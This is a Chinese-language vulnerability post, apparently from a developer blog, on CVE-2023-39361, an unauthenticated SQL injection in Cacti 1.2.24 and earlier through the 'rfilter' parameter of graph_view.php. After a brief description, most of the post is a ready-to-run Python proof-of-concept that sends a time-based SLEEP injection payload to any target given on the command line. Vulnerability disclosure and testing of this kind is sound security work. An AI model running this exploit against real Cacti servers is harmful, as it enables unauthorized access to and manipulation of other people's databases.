Cacti 未经身份验证SQL注入漏洞

0x00 前言

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。

Cacti是通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。

0x01 漏洞描述

漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。

在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。

0x02 CVE编号

CVE-2023-39361

0x03 影响版本

Cacti<=1.2.24

0x04 测试POC

代码语言:javascript

代码运行次数:0

运行

AI代码解释

复制代码
import argparse
import requests
import sys
import urllib3


#import os
#os.environ['http_proxy'] = 'http://localhost:8080'


sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""


def exploit():
    url = f"{target}/graph_view.php"


    params = {
        "action":"tree_content",
        "node":"1-1-tree_anchor",
        "rfilter":payload
    }


    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
    parser.add_argument('-t','--target',help='',required=True)
    args = parser.parse_args()
    
    target = args.target
    session = requests.Session()


    exploit()
相关推荐
androidwork25 分钟前
深入解析内存抖动:定位与修复实战(Kotlin版)
android·kotlin
梦天201536 分钟前
android核心技术摘要
android
找不到、了1 小时前
MySQL的窗口函数介绍
数据库·mysql
执笔诉情殇〆1 小时前
springboot集成达梦数据库,取消MySQL数据库,解决问题和冲突
数据库·spring boot·mysql·达梦
软件技术NINI2 小时前
springMvc的简单使用:要求在浏览器发起请求,由springMVC接受请求并响应,将个人简历信息展示到浏览器
数据库·mysql
szhangbiao3 小时前
“开发板”类APP如果做屏幕适配
android
SailingCoder3 小时前
MongoDB Memory Server与完整的MongoDB的主要区别
数据库·mongodb
水木石画室3 小时前
MongoDB 常用增删改查方法及示例
数据库·mongodb
旷世奇才李先生3 小时前
MongoDB 安装使用教程
数据库·mongodb
qq_339282233 小时前
mongodb 中dbs 时,local代表的是什么
数据库·mongodb